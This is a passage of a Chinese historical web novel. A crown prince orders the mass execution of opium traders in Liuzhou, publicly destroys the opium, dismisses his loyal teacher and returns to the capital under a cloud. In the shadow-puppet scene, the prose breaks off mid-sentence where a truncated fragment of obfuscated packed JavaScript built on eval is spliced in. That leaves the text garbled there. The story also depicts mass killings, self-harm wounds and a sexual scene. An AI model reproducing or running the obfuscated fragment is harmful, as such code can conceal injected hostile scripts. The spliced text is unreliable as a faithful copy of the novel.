郑绥道:“九声钟鼓后,尉迟将军已率卫队彻底封城。全部阿芙蓉作业者,已由太子卫率羁押,如今应该在往这儿来的路上。” 太子颔首,道:“听闻阿芙蓉作业内部有商会组织,头目提出来,我要单独审问。审问之后,格杀勿论。其余人等,按账目记录检查阿膏资产,是否立斩,按我们昨日拟定的标准处置。这些人里,如有上缴全部用具、带领销膏、举发其他未落网涉案之人、提供重要线索等等立功之举者,如核实无误,按新律八卷第十三条,允许刑罚减等。无悔改者,杀。” 他看向虞二郎,“对你们,我没什么要问的了。” 虞二郎倒地时,大郎闭上眼睛,深深叹了口气。 太子说:“泰山崩于前而色不变,大郎本该有大作为。” 虞大郎问:“殿下知道,这一刀下去——今日这千千万万刀下去,要面对什么?陛下真的还能护住你,让你像个孩子一样避祸后宫隐遁妇人之裙吗?” 太子说:“最痛苦的是我父亲,我比谁都舍不得他再次劳心。但今天,我只能做一个要断手腕的壮士,一个要剜毒瘤的郎中。这是我为柳州做的最后一件事,或许,也是我为我父亲做的最后一件事。” 太子站起来,换郑绥再次走上前。太子目视滚滚白烟从虞大郎唇间溢出,说:“大郎,事到临头,你也怕死么?” 虞大郎说:“我只是叹息,殿下,你已经接近立地成佛的菩萨,在最后关头,却要舞动屠刀。你追求清明与和平的方式就是向整座城市发动血洗。我能看到,一场新的风暴已经迫近。殿下,我已经看到我的死日,而你呢?你真的会像奉皇四年的医官之谶一样,病死在二十岁之前吗?” 太子没有被这隐晦的诅咒触怒,他笑道:“虞闻海,你果然不是信教之人。光明宗人不问生死,问心无愧而已。但你说的对,今日之后,我再问我心,多少有愧。” 他往后再退一步,彻底退回到龙武卫撑开的红伞之下。太子的素衣被荫成血衣之际,郑绥的宝剑再度挥下,斩断了虞氏长房最后一条根须。 暴雨整整下了十日十夜,依旧没有冲刷掉柳州城堆积的血垢,这座城市的幸存者透过门窗缝隙,目睹了只有传闻中牧野之战出现过的流血漂杵的奇景。柳州城的南北两门在清晨和黄昏定时开启,方便龙武卫把堆满死刑犯尸首的板车推进深山。据说太子卫率不得不进山开刨尸坑,五天之后,油满肠肥的乌鸦结群飞落,整座山峰似乎被垫高了不止三层。在人头如滚珠落地的十日里,皇太子跪在神前,轮回诵经,为往日和今日的所有亡灵。 第十一天,乌云退散,雨过天晴,神祠大门重启,皇太子形如薄纸,飘然而出。在郑绥搀扶下,萧玠面对缩水四成的柳州人口和血洗后的大地宣布:“传我令旨,从今往后,大梁境内严禁光明教信奉。梁皇太子萧玠,自此弃信光明。左右,捣碎金身,但凡流毒遗害者,务必以此为鉴。” 肢解光明神王的打砸劈砍之声大作时,萧玠脚步一晃。他把手按在心口,这才确信自己真的逃过也经历了为期十日的凌迟之刑。直到这一刻他才真正懂得父亲。有的时候,矫枉必须过正。有的时候,决裂确是保护。他满目疮痍的河山,他只能用这种方式矫正,正如他魂牵梦萦的生身,他只能用这种方式保护。此时此刻,皇太子在众人眼中西施捧心的形貌,却被郑绥感知出比干剜心的痛苦。 他们双手紧握时院门被砰然撞开。那是自长安疾驰而来的马蹄,在骏马背上,萧玠看到崔鲲夏秋声惨白的脸。他知道他们对当代犯下了不可饶恕的罪祸,他并不知道这罪祸是否真能为后人建立千秋之功。 96.第 96 章 面对挚友和老师,萧玠脸上没有一丝诧然之色。他走下台阶,水洼里积聚的血污争先恐后地爬上他的衣摆。萧玠像一座渡至江心的泥菩萨一样,对他们笑道:“老师和鹏英来了,一块去万福湾口观看销膏吧。” 崔鲲要问什么,夏秋声却摇了摇头,说:“听从殿下令旨。” 萧玠迈动脚步,奉旨前来的左卫当即率队跟随。萧玠说:“你们留下吧,城中刚刚平静,只怕惊扰百姓。” 左卫大将军皱眉,“陛下有诏,命我等押解殿下回京。启程前,臣等只能寸步不离。” 夏秋声呵斥道:“陛下之意到底是护卫还是押解,将军不要擅自揣度。有我在,你们还怕殿下畏罪出逃吗?” “既然各位要来,那就一块来吧。”萧玠说着,从满地滚落的蜡烛间走过,“一块看看,遗祸百姓会是什么下场。” 天色已曙,天空像一个幸存于灭门之祸的妇人,苍白脸颊边只残留一缕两缕血丝状的红云。萧玠不要车驾,坚持步行。当太子身后左卫军队的靴刺声和踏步声响起时,所有幸存者以为要面临一场新的清洗。直到一个士兵持锣一个士兵扬声宣布:万福湾销膏,欢迎百姓到场。 柳州作为永安运河向东入海的港口城市,在建设之初就受到萧恒的重视。为了发展经济,尚割据地方的萧恒亲自带人疏通河道,在堆积煤渣的废墟上挖掘出第一个湾口。上年纪的柳州人喜欢回忆港湾竣工之日,他们说陛下沾满淤泥的二十岁的手凿碎最后一块硬石,把全部路障清扫一空。在卫队长梅道然率领下,十数艘大型商船试航成功。人群喝彩欢呼声里,还不是陛下的陛下像下旨一样宣布,咱们柳州湾口和潮柳运河正式投入使用了! 萧玠问:“所以这个名字是为了感念陛下而取的吗?” 未沾阿芙蓉生意的良户大着胆子跟随在侧,解释说:“不,名字是陛下取的。港口落成的那天大伙山呼,将军是咱们柳州的福星,将军说我不是福星,你们是我的福星。我们柳州百姓是大福气的百姓,湾口也会是大福气的湾口。” 在父亲的故事里,萧玠抵达万福湾。她的全貌被黑山一样的阿芙蓉遮蔽,连天上的太阳都只露出半个光轮的金边。这是萧玠第一次如此直观地感受到阿芙蓉对人类生活的侵略。整个湾口并没有让人闻到清爽的海风,阿芙蓉接近尿骚的气味率先充斥每一个鼻子,烈日炎炎下不比旱厕让人好受。在膏堆边上,有几个事先挖好的土坑,底部铺满石头,坑壁钉好木板,土坑无疑是一个个巨大锅炉。 萧玠问:“什么时候开始?” 郑绥说:“现在就可以进行。” 在得到萧玠首肯后,太子卫率一人一只水桶,用海水将全部土坑填满。接着,手持铁锨的龙武卫上前,乒乒砰砰将阿芙蓉山劈得四分五裂,黑色膏块扑通扑通投入坑中。等所有阿芙蓉膏填入大坑后,太子卫率推来早已准备好的十辆大车,里面堆积着小山状的灰白色粉末。 夏秋声问:“这是要做什么?” 郑绥解释道:“等海水将阿芙蓉膏浸泡完全后,加入生石灰使之沸腾,再将产生的废水排入海里,这东西才能彻底销毁。” 夏秋声道:“我听说有种法子,直接把桐油拌进膏里,就地焚烧。” “之前的确用过这种老法子,但经火烧后,阿芙蓉油会渗入泥中。若掘地取土,仍能得十之二三。”郑绥说,“还是如此万无一失。” 这是在场很多人第一次观看销膏,包括夏秋声。石灰从车斗中倾落的一瞬,他心中产生一种高山崩塌之感。在翻滚沸腾的石灰水里,他看到王朝的即将到来的大震动。无数条有毒的生命将像黑膏、无毒的生命将像石灰,在历史的大坑里同归于尽。他知道萧玠是倾倒石灰的更新的手,但他不确定萧玠会不会继承他父亲的事业,跳入坑中用鲜血完成销膏工序的最后步骤。 白烟滚滚里,萧玠全神贯注,没有表情。 农历五月十六,皇太子于万福湾口销膏,膏体和石灰反应形成一道巨大烟柱,许多邻柳而居的人都说在那天看到一条天梯直通云霄。但在现场,这一载入史册的壮举没有收到欢呼,沉默像死去的黑膏之山一样压盖在每个人身上。夏秋声试图说点什么,但目光滑过挈妇将雏的柳州人的脸,发现他们五官之间闪现的不是感激而是仇恨。 当天夜里,萧玠点亮蜡烛,夏秋声注意到他佩戴光明铜钱的手腕已经光秃,他屋里供奉光明宝像的神龛也成为一只空笼。但萧玠还是从蒲团上跪下。一道竹帘垂落,把他身影隔绝在后。夏秋声在廊下仍能听到他唇间溢出的诵经之声,接着他在那滞涩的梵文中听到萧玠指间佛珠的滚动。 等萧玠诵毕,廊檐上芭蕉上又响夜雨。夏秋声听到陪伴太子之侧的崔鲲问:“殿下在诵什么?” “四甘露咒,就是往生咒。”萧玠说,“希望他们早登极乐。” 里面安静了一会,绵绵不绝的雨声占据了夏秋声整个听觉。好一会,崔鲲才说:“禁膏一事惠及万民,后世都会感念殿下之恩。” 屋里响起皇太子的声音:“我是柳州城的罪人。听闻许仲纪曾将尸首发还潮州,倘有万一,也将我的身后如法炮制吧。” 下一刻太子又笑起来:“我的不是,胡说一句,把你吓着了。我知道阿爹总要护着我的。” 夏秋声知道他的学生是个确凿无疑的帝王之才,出他之口的灾厄和祥瑞都会灵验。与他惜字如金的父亲相比,萧玠似乎才是真正的金口玉言。阴雨般绵长的不祥之意占据了柳州的整个五月,夏秋声从每夜子时的超度声中,坚定了与天一搏的勇气。他坚信借萧玠之口传递的上苍之旨并非坚若磐石。 在左卫大将军宣读圣旨、解除皇太子代天大权的夜里,夏秋声端着新煎的汤药来到萧玠房间。萧玠闻声抬头,夏秋声恍惚看到十年前被李寒托付在手的小孩子,十年时光在无声之中淙淙而过。 萧玠笑道:“是大将军要老师来看管我么?教他放心就是,我这身体,要跑也跑不到哪里去。” 夏秋声无话,向他面前走去。萧玠刚洗过头,头发里散发着乌桕叶的淡淡香气,正将梳篦放回奁盒,边问:“郑绥怎么样?老师不要为难他,他一切都是遵从我的旨令。他没有选择。” 夏秋声放下药碗,说:“小郑很好,叫我记得看殿下吃药。据他所说,殿下十天没有吃过药了。” 萧玠没有争辩,将那碗药端起来喝掉。夏秋声看着他,说:“陛下要臣告诉殿下,先回家去,万事有他。” 萧玠说:“我知道陛下是借押解之名,以老师和鹏英两位重臣的大驾保我平安回京。我也知道,我杀掉了世家近半数的子侄,也让四个大族就此断根。断子绝孙,其痛何如,他们不会轻易放过我。” 他低头,像个做错事的孩子,“老师,我的本意不是想让阿爹为难的。” 夏秋声说:“所以臣想到了一个两全之法。” “柳州都尉郎夏秋荣,确系臣的堂弟。臣已写好五封书信,今夜就可以放到夏秋荣家宅之中。时间从柳州阿芙蓉作业运作开始,至殿下来柳之前。信中表明,柳州阿芙蓉事臣察觉已久,欲借殿下之手打压政敌使夏氏一家独大,故令夏秋荣趁机透露,引殿下震怒处决所有涉案人等。” “不可能。”萧玠猛地站起来,“老师,你想都不要想。” 夏秋声向他跪下,说:“臣只有一个请求,请殿下照拂内子与裁冰。臣罪丘山,妻儿无辜。” 萧玠坚持搀扶他,叫道:“你起来,老师,你起来!” 夏秋声叩首于地,说:“还望殿下成全。” 夏秋声的忠诚像铁块一样坠在他文人的骨头里,萧玠竭尽全力也无法把他的身体从地上撼动半分。萧玠松开手,慢慢坐回椅子里。这次由他发动的浩劫使他懂得,平静的谈判尤胜歇斯底里。他重新握起那把篦箕,拇指拂过梳齿,像被一排细小的牙齿啃噬。他知道如果自己不坚持到底,夏秋声会和更多的百姓一样被这利齿撕成碎片。 萧玠毫无波澜道:“老师,你若一意孤行,我会做出比自裁还要惨烈万倍之事。君无戏言。” 这是夏秋声第一次对萧玠进谏失败,但真正中伤他的是萧玠逐渐成熟的眼睛。他出于淤泥的学生为保持洁净付出了太过沉重的代价,或许这是做萧恒的儿子必须要面对的结局。在夏秋声离去后,萧玠连夜召来崔鲲进行又一次密谈。他知道夏秋声绝对不会轻易退步,他需要一个万全之策阻止老师作出牺牲。 解决方案在雨声掩盖下迅速敲定,崔鲲的心却没有松动半分。一个月来萧玠身上发生的改变,像一次受孕让一个少女发生的改变一样,如性一般的晦涩隐秘,又如生命一般的无从抵挡。崔鲲感到萧玠身体里那个神秘的胎儿已经让他准备奉献终身。 在这之后,萧玠询问她京中事宜,崔鲲一一回答:“他们揭穿我是女人不假,但现在不是十年之前,我把那些酸汗淋漓的男人相公当堂骂了个痛快!我问诸公,传道授业是不是师哲所能事?教书易,诲人难,育人是不是传道授业的顶峰?既如此,他们的母亲将他们生养拉扯教育长大,将诸公培养到出将入相,如何算不得顶尖的师哲?这么看来,真正通达教育大道的,往往还是女人。诸公连诲人这一基业都输各位萱堂一头,却敢门生百千称呼座主,岂不汗颜?” 萧玠笑道:“妙哉妙哉,岂知崔刺史耍起无赖竟是如此威风八面,未能眼见,十分遗憾。不过女科已开,女官已设,又有陛下坐镇京中,料他们也不敢掀起什么波浪。” 又想起一事,问:“汤惠峦之事,陛下怎么说?” 崔鲲肃容道:“这正是最蹊跷的一件事。臣将那封密信当廷呈奏,表明既有举证,不得不查,倘若冤枉,更得还汤员外郎清白。陛下便命御医上入内诊脉,结果……” 崔鲲想起那天汤惠峦被请入珠帘之后,侧影投在壁上,恍若狐狸的口吻。他挽起深绿大袖,露出袖口素巾和更素的手腕。太医手指落在他脉上,崔鲲像听到两重心跳鼓动,那绝不是人的心跳,哪个人腔子里能装着两颗心?那是两面的狐妖,披画皮的精怪。今日明堂之上,他也该原形毕露。那剂阿芙蓉制酒是她亲眼看他饮下去的,错不了。就算他有通天本领,也改变不了被侵蚀的脉象。 “他没有服用过阿芙蓉?”得到结果的萧玠大吃一惊。 “那位太医是陛下和殿下的御用,错不了。”崔鲲道。 “他是怎么做到的?”萧玠喃喃,“难道那天真不是他,或者他饮的只是一盏普通酒水?再或者连阿爹都被他蒙骗过去……” 崔鲲无法回答。 圣天子端坐高位,温和说崔卿,看来是一场误会。二位爱卿出身同科,皆为朝廷栋梁,从今往后还需守望相助。 崔鲲没有争执,拱袖回列。她站回原位时看到一支象牙笏板将珠帘打开,然后她看到汤惠峦宛如象牙打造的手脸,没有一丝瑕疵,洁净如他刚刚被验证的臣格。他对上崔鲲视线,微微一笑,这个笑容让所有人意识到,若非今上早已弃置凭相貌确定探花的陋习,这位榜眼郎只怕要名降一等。但崔鲲肯定他是一只狡猾的狐狸,她在他身后仍能看到九条尾巴的阴影。 *** 左卫一共在柳州逗留三日,第一日观看销膏之后,再留一日给萧玠收拾行囊,后日清早就要启程。第二日夜,萧玠诵经后请夏秋声来到房中,展示他从柳州购买的皮影。 案上已置樽俎,一壶热酒,一些夏秋声喜爱的菜肴。萧玠请夏秋声入座,自己边撑起幕布边说:“我还记得老师送我的第一件礼物,我四岁那年的秋狝,老师为我演示了一出折子。” 夏秋声道:“是,萧何月下追韩信。” 萧玠笑了笑:“方才诵经,只觉数年烟云如同隔世。” 灯火映照下,皮影显现幕上,萧玠持其木棍,操纵人影行走动作,说,“上次玩那套皮影还是奉皇十四年,老师触怒陛下禁足在府前为我上的最后一堂课。老师说,希望我以后想起你,记忆里总有快乐。” 夏秋声注目幕上,“臣当时以为命不久矣了。” “但陛下并非擅杀朝臣之人。”萧玠说,“那时候老师不理解陛下,我也是。” 夏秋声问:“殿下如今有了新见解吗?” “我只是明白了老师为什么和陛下如此对立,一方面是为了世家,一方面,是为了我。”萧玠操纵皮影仍不太应手,人影和兵械碰撞,反倒将长枪插进自己腹部,“陛下当年要废皇太子制,老师联合群臣士子的进谏不亚于一次逼宫。那时候我只以为陛下厌弃我。直到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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萧玠说:“商纣夏桀,早期岂非英圣明?齐桓赵武,少年岂不贤德?前人如此,老师怎知我以后不会变得残暴不仁?再者,王朝代有更迭,兴亡百姓最苦。纵使我一世明君,如何保证我的子孙后代不会昏庸暴戾?既不能保证,如何对得起天下万民?” 在夏秋声眼里,萧玠清瘦的身躯,与他父亲多年前的身影冥冥重合。萧玠笑道:“帝王正是最大的毒瘤。哪怕我欲锄暴,帝制不废,我的母族、妻族、师门、兄弟,我的手足、臂膀、子子孙孙,甚至是我的画像和牌位,都终将成为更新的施暴者。如此以往,世族仍能厚积而起,天下依旧苦于盘剥。我岂无辜?我的出身就是罪过。 “很多年前有人教给我,有错,必改。” 萧玠从幕后走出,从袖中取出一封奏折,“老师乞身的折子我已拟好,回去便呈奏陛下。血洗柳州等于对世族正式宣战,他们反扑之时,老师若在,我很难做。还请老师不要让我为难。” 他言辞中的利己性质成功动摇了夏秋声,后者忍不住问:“臣走后,真能让殿下处境稍安吗?陛下一旦自废,殿下也会贬作庶人,到时候陛下还能保全殿下吗?” 萧玠道:“废太子是皇帝的弃子,但我依旧是阿爹的儿子。天下共治之时,当是我父子辞宫还乡之日。希望彼时,能与老师相逢垄亩,再会山水。” 还乡之语让夏秋声想起多年前犯下的一桩罪孽,他向萧玠跪倒叩首,“臣罪丘山。当年是臣假传圣旨,使殿下未能随大公归秦,以致父子生离,臣万死莫赎。” 萧玠却表示出莫大的宽容,说:“老师,这不是你的错,我现在也做出了相同的选择。我还要感谢你,让我留在陛下身边。” 他笑了笑:“我寿数有限,不能侍奉陛下终老,是我此生之憾。让他白发人送黑发人,是我此生之愧。我只想趁活着,替他多做些事。” 夏秋声忍不住痛哭:“苍天,何薄于我殿下!” 他的眼泪却浇灌出萧玠的微笑,萧玠轻轻拥住他,柔声说:“老师,我有你,有陛下,有过文正公和他,我知足了。你能陪我这些年,我很感激。” 夏秋声再次作出退让,“臣可以不再插手新法,不叫殿下在臣与陛下之间难做……臣只想留下看着殿下。” 萧玠却讲起另一桩事:“老师,当年我问你,如果韩信的抱负无法实现,留下做了一个普通将领,他会如何?你告诉我,他不走,就会死。” 他声音温和,态度却近乎绝情:“文正公已经为我做了舍命的公孙杵臼,我不能再接受一个效死的韩信。吃酒吧,酒要冷了。” 夏秋声由他搀扶起来,第一次刨除君臣体统,像一个纯粹的老师对学生那样颔首,“请殿下将这一场演完吧。” 萧玠重新转到幕后,手中皮影在戏台上复活了,而他作为皮影的操作者何尝不是站在一个更大的戏台上。这场戏中戏里,夏秋声感受到学生在咏史文学领域的天赋,他借古写今的笔法已经炉火纯青。他手中,韩信踉踉跄跄地问,因何唤我? 萧何说,汉王想要留你。 韩信问,汉王能让我做大将吗? 萧何摇头,说汉王只能给你将军一职。 韩信说,我为国士,既不能国士待我,留我何用? 萧何说,所以我不留你,我来送你走。 夏秋声泪落潸然。 萧玠重新走到幕前,倾倒一杯冷酒,缓缓道:“一国之君,当人尽其才,物尽其用。不能国士以待,是我父子愧对。” 他对夏秋声举杯,“望卿麋鹿为友,诗书自娱。地北天南,各自相安。” 夏秋声饮掉了那杯酒。 这并不是萧玠第一次送别他的传道者,与第一次的死别相比,这次在他把握中的生离已经美满太多太多。他知道自己永远无法弥补失去李寒的憾恨,所以他乞求夏秋声,千万不要让他再次抱憾终身。他知道夏秋声对他有求必应。 翌日失血过多的柳州城同时送走两支队伍,一支向北,一支向南。人们站满太子庄田的田埂,这片土地的罂粟已被烧尽,暴露出剜疮后未愈的伤痕。他们眼看皇太子在禁卫监守下扶辕登车,像一个秘密或丑闻那样,被迅速拢入绣满龙纹的车帘之内。千里之外的天心难以窥测,但太子在睽睽之下被收缴的印信似乎证实了他的待罪之身。返京队伍踏上官道之际,山水间的羊肠小道上,响起驶往江南的辘辘车声。 夏秋声打开匣子,在看到太子相赠的皮影前,先看到一张素笺。一首五绝书于其上: 明月相催送,朝风两袖清。 晚山犹最好,千里伴君行。 97.第 97 章 皇太子抵达京师的前夜,大内官秋童再次听到皇帝在噩梦中发出的叫声。他记得皇帝年轻时也有过一段类似的经历,那时候罗帐里会响起另一个人的声音,像一个母亲安抚惊梦的孩子,柔声呢喃,是我六郎,我在这儿呢。等秋童赶来时,烛火已经将年轻皇帝的脸点亮,皇帝伏在那人膝上,整个人像一条冻僵的蛇。那人脸贴着皇帝的脸,颈交着皇帝的颈,手挽着皇帝的手,像两条蛇的交尾又像两个人在相拥。很久之后秋童才知道,很多年前的这一天,皇帝亲手插入钥匙,为潮州打开生门的同时也打开了另一扇罪恶之门。 奉皇十七年五月底,秋童闻声赶入殿中,见皇帝赤脚立在地上,面迎月光,脸上淌下两行清漆般的泪痕。 秋童的安抚难以奏效,直到翌日,太子入承天门的消息由金吾卫快马传入宫中。等车驾从甘露殿前停下,秋童发现,皇帝似乎完全恢复往日从容。大风雨前他习惯了扮演顶天立地的父亲,保护太子的羽翼必须让儿子以为无懈可击。 萧玠正和宫人一起搬卸行李,一只包袱从他臂弯散开,一本书册啪地掉在地上,露出《搜神记》的封皮。 这是郑绥找给萧玠的读物,为防他有任何危害自身的行动,必须要分散其注意力。郑绥将时间算得很好,这本读完,萧玠也该抵达京城。 萧玠弯腰要捡,一只手却抢先将书册拾起来。 萧恒将书递给他,“回来了。” 萧玠接在手,道:“回来了。” 萧恒没说别的,道:“饿了吧,先吃饭。” 甘露殿中晚饭已然备好,仍是萧玠爱吃的菜色和粥食。碟中有好多新腌的雪里蕻,这是萧恒头一次没有限制一餐之中酱菜的供应。萧恒有些抱歉,“面还没醒好,没来得及给你做馎饦。” 萧玠笑了笑,“粥好吃的。” 萧恒给他挟菜,看到儿子手腕,一串黑色佛珠取代了原本光明铜钱的位置。萧恒看着他侧脸,说:“瘦得这么厉害,自己一个人也别懒怠,得吃饭。” 萧玠笑道:“这几天有些苦夏,甜的嫌腻,咸的吃不进去,淡的又没有味道。外头的饭,到底不如家里的好吃。” “那就多吃。”萧恒看他吃饭,又有些坐不住,“我再给你下馎饦去。” 萧玠忙拉住他,“克化不动,半夜还要难受。” 萧恒没再起身,萧玠却没有松开他的手。那么一双父亲的手,他还没留意,就这样皱皮结茧了。 萧玠看了一会,捧起萧恒的手贴在自己脸上。他感到父亲抚摸自己的脸,终于道:“阿爹,我叫你难做了。” 萧恒说:“我为你骄傲。” 萧玠双唇一下子颤抖起来,匆忙拿两只手捂住脸,好一会,才撤下手来,从怀中取出两封奏折,“我私自做主,让老师致仕了,还有柳州阿芙蓉作业的前因后果,也都在折子里。但在潮州蜃楼时,卖家所获女孩不尽用做暗娼,有的取血后直接杀害,我问过您这件事,您没给我答复。” 萧恒只道:“这件事我另有安排,你不用管了。” 萧玠心知不是追问的时机,便道:“我和鹏英商议过,明日我上朝,还是由她弹劾我。如今我和郑绥所处被动,得须一个局外之人帮衬。到时候……” 萧恒道:“你不用上朝。” 萧玠道:“这件事我总要给个交待。” 萧恒面不改色,“明天你先去行宫待一阵,对外就说我把你幽闭了。他们没法把你怎么样。” 萧玠惊道:“就这样?世族哪会善罢甘休?” “我还没找他们算账。”萧恒冷声道,“阿芙蓉一案,他们真以为到此为止了么?” 察觉儿子覆上自己的手,萧恒轻轻叹口气,将儿子手掌握在掌心,只觉得还是瘦。萧恒道:“阿玠,阿爹原先不想让你参政,就是不想让你牵涉这些。” 萧玠笑了笑:“那除非把我塞回阿耶肚子里去。” 这样脱口而出,两人皆是一愣。萧恒只笑一笑,不多说什么。萧玠道:“就算能塞回去也晚了,我已经晓得你要做什么了。” 他附到萧恒耳朵上说了句什么,萧恒有些诧异,萧玠已经顺势靠在他手臂上,“阿爹,你不要总觉得我小。就算我小,你也可以一点一点讲给我听。你如果早告诉我,我也能早告诉你,我觉得你做得很好。我也为你骄傲。” 一餐饭毕,萧恒亲自将萧玠送回东宫,等他睡熟后才离开。回到甘露殿,见秋童正整理奏折。 萧恒道:“都是弹劾太子的折子。” 秋童道:“是。” 萧恒简单翻过一遍,见上书者基本含括了八成的世家勋贵。萧玠上呈的那份阿芙蓉庄家的名单所列,大多为其子弟亲朋。 萧恒道:“你说,我如果就是不遂其意惩处太子,他们会怎么做?” 秋童心中一跳,“陛下……” 萧恒没有过多表示,问:“杨士嵘回来了?” 秋童道:“柳州一出事您就急召杨相公回京,按脚程,应当快到了。” 萧恒刚要吩咐什么,便听殿外龙武卫快步奔来,抱拳禀告:“陛下,杨相公已至宫外,请求陛下召见!” 萧恒目光一凛,扬声道:“请他去两仪殿,我一会就到。” 他指了指那堆奏折,一并送到那边去。 秋童应是,一面收拾,一面心中发沉。 太子此番作为,连他一个内宦都心惊不已。世族大多盘根错节,在地方势力非同寻常,不说人望声名这些虚的,有多少人把握着一地经济,这些年大小皇商、工程建造,甚至各地百姓吃穿住行的取用之物,多少和世族关系匪浅?更别说还有一些豢养府兵死士,之前嘉国公以军械制造献诚,手中未必没有装备火炮的精兵…… 倘真如此,殿下如何逃过一劫,陛下又要如何为他挡下这片风雨? 和秋童的忧心忡忡不同,自从看到萧玠平安归来,萧恒表现出一种注意已定的镇静。他手指从那份鲜血写就的名单上掠过,拿起搁置一旁的《搜神记》,翻动几页。 秋童问:“想来是殿下忘记带回去,奴婢给送到东宫去吗?” 萧恒翻到别在最后一页的芸签,将书合上,“书刚读完,还不是温故的时候。把他阿耶那些话本子给他送去。之前的事,不用回头。” *** 声势浩大的废太子进言在朝堂掀起时,萧玠的车马已经驶入劝春行宫。乐者们躲闪又窥探的目光穿过潮热的空气,飞絮般粘在车帘上。絮状物对萧玠的身体常有损害,现在,宫中不合时宜的杨花已经漫天飞舞了,所以萧恒对他和郑绥采取了两种相反的保护方式:把他贬去行宫,却提郑绥为龙武卫中郎将留在身边。 对萧玠的处置是为了平息世族的部分怒火,但如果此时打压郑绥,当即会有人落井下石。萧恒宣称,郑绥作为太子臣属只得听命行事,并在阿芙蓉案中功劳卓著,对他的处置正是赏罚分明。 离开萧恒,萧玠终于不用扮演一个乐观向上的孩子。他结束了萧恒的梦魇,却对自己的噩梦只字未提。柳州血雨倾盆,被他斩首的无头尸身从血泊中爬起,用染满阿芙蓉黑垢的手拉他摸他撕扯他,质问萧玠这个恶毒的罗刹为什么要屠尽柳州城。那些血手像情人一样摩挲他的脸颊,下一刻就紧紧扼住他的咽喉。 萧玠经常从梦中干呕着醒来。噩梦已经影响了他的日常生活,包括进食。以他如今的精神状态,如果待在宫里很难瞒过萧恒。 西暖阁开启时,并没有想象中的灰尘飞扬。萧玠闻到淡淡的鹅梨香气,迈步而入,看到坐在窗下校弦的沈娑婆。沈娑婆放下琵琶,向他打开怀抱。 萧玠缩进他怀里,听到沈娑婆重石落地般的感慨:“你真的干了,你真的来了。” 他隐约察觉,沈娑婆的态度有些消极。他从沈娑婆袖中闻到血腥味,发现他臂上又裹了纱巾。夜间沈娑婆把他压在榻上,在萧玠泪眼迷蒙时他咬住萧玠后颈,不像是亲爱更像是发泄。他依旧没有行进,但比真正还要粗暴。 萧玠察觉他巨大的精神压力,但他愿意承受,再粗暴的爱也是爱,他愿意以此逃离一次次刽子手的血色噩梦。有一次半夜醒来,他看到沈娑婆坐在床边,将手臂上纱巾一圈一圈地拆开,露出尚未结痂的伤口,里面绽开微粉的血肉,像一只恶魔的眼睛。 萧玠耳边响起柳州临别前的交谈,他说我最放心不下你,沈娑婆说什么? 臣未必不能随殿下同去。 他当时只感动于情之一字,竟没有发觉,殉情最直接的含义不是情而是死。 萧玠突然想起,沈娑婆在治好自己的病之前,也曾是个跳过池塘的病人。他后来近乎完美的健康简直像一出表演,让萧玠自然而然地忘记了这件事。 沈娑婆看着那条手臂,迟迟没有举动,萧玠也不敢惊动他。一会,沈娑婆转过头,像早知道他已经醒来一样,笑着给他掩去眼泪,安慰道:“你好好的。我没法死的。” 沈娑婆的异常叫萧玠迅速振作起来,人在柳州还好好的,回来成了这个样子,很大的可能就是为自己忧虑所致。萧玠找不到症结,不知道如何开导他,便提议两人真真正正上一次床。沈娑婆没有多言。 那晚没有落帐,也没有熄灯。高烧的烛火下,萧玠赤条条躺在床上,用一个很传统的方式把自己展开。他自觉地把枕巾咬在口里,沈娑婆用一只手按揉他的肚子,这样他还是差点干呕。沈娑婆不进不退,在灯火下,那只裹有白纱的手向下探摸。萧玠难堪地哭起来,却撑着没有叫停。一小会后,沈娑婆从他身上爬下来,拿帕子给他擦拭,说:“睡吧,你不成。” 萧玠有些委屈,说:“我成的。” 沈娑婆把帕子丢在地上,背身从他身边躺下,还是说:“你不成。” 萧玠双手拽着被角,对他的背影问:“你能抱着我吗?” 片刻沉默后,沈娑婆转身横臂抱住他。那包扎下的伤口似乎才是沈娑婆的口鼻,包得越厚越紧,越喘不过气。 白日里有太阳透进来,他们两个都能好很多。萧玠不再午睡,故而一日只用做一次噩梦。沈娑婆身上更像缠着一个只在夜间作祟的鬼魂,白天他仍正正常常地去教坊演曲,外人压根瞧不出有什么不同。好的时候,还能和萧玠对弹一会琵琶,说起《龙虎谣》的编曲工作已接近尾声。 萧玠轻轻拉他的手,柔声问:“到底怎么了,你和我说说好不好?” 沈娑婆低头看着他的手,说:“闹鬼。” 萧玠道:“那我请司天台来瞧瞧,再不行我出宫找驱鬼的道士和尚。” 沈娑婆笑了:“不入轮回道的鬼,他们收不了。” 他看了萧玠一会,抬手抚摸他脸颊,萧玠顺他的手势躺在他怀里,静静流下眼泪。 沈娑婆一下一下梳理他的头发,平静,面无表情。 行宫里的日子如水淙淙流过,萧恒却很少踏足。朝臣加给他不小的压力,改革的推进尤为艰难。这是柳州案带来的麻烦。萧玠打听过几次,从上到下却密不透风,萧玠便知萧恒着意瞒他。深宫寂寞,好在崔鲲常来探望。 一个午后,萧玠走完园子回来,听见屋里有低语之声。 隔着竹帘,他见崔鲲穿一件月白襦裙立在案前,手正拨开一只襁褓。 那襁褓正由郑绥抱在怀里,郑绥边轻轻拍打,边低声哄着,全然像一个温雅年轻的父亲。 萧玠打帘进来,一时没认出孩子,“这是……?” “是阿萝的孩子。”郑绥道,“我和鹏英已将她认在膝下,父母也同意了。” 萧玠笑道:“也好,有了孩子,郑将军和夫人能够含饴弄孙,那些流言蜚语也能平复一些。” 郑绥问:“殿下想抱抱她吗?” “我?我可以吗?”萧玠有些紧张,虽这样说,已经将手臂打开。郑绥将襁褓让到他怀里,教他如何抱婴儿会舒服一些。 萧玠一时间放不好手脚,也不敢立着,忙从椅中坐下。探手要摸女孩的脸,被一下握住手指。 崔鲲笑道:“我和小郑有个不情之请,还请殿下为她赐名。” 萧玠问:“不问问冠军大将军?” “将军也是这个意思。”崔鲲道,“怎么也是你俩接生的孩子。” 萧玠拍着襁褓,沉思片刻,眼睛一亮,“就叫旭章,朝阳之旭,文采之章,怎么样?” 郑绥含笑点头,“很好,太阳。” 萧玠怀里的太阳姑娘冲他咯咯笑起来。 萧玠想起什么,道:“东宫有一些玉料,都是从前的节礼。我记得有一块芙蓉美玉,十分难得,过几日叫人琢一个玉佩,给她送过去,算是我的一点心意。” 郑绥没有推拒,笑道:“臣代旭章谢恩。” 萧玠从没抱过这样小的女孩,一时喜欢得不得了,垂脸亲亲她额头,就这样贴着她依靠好一会。 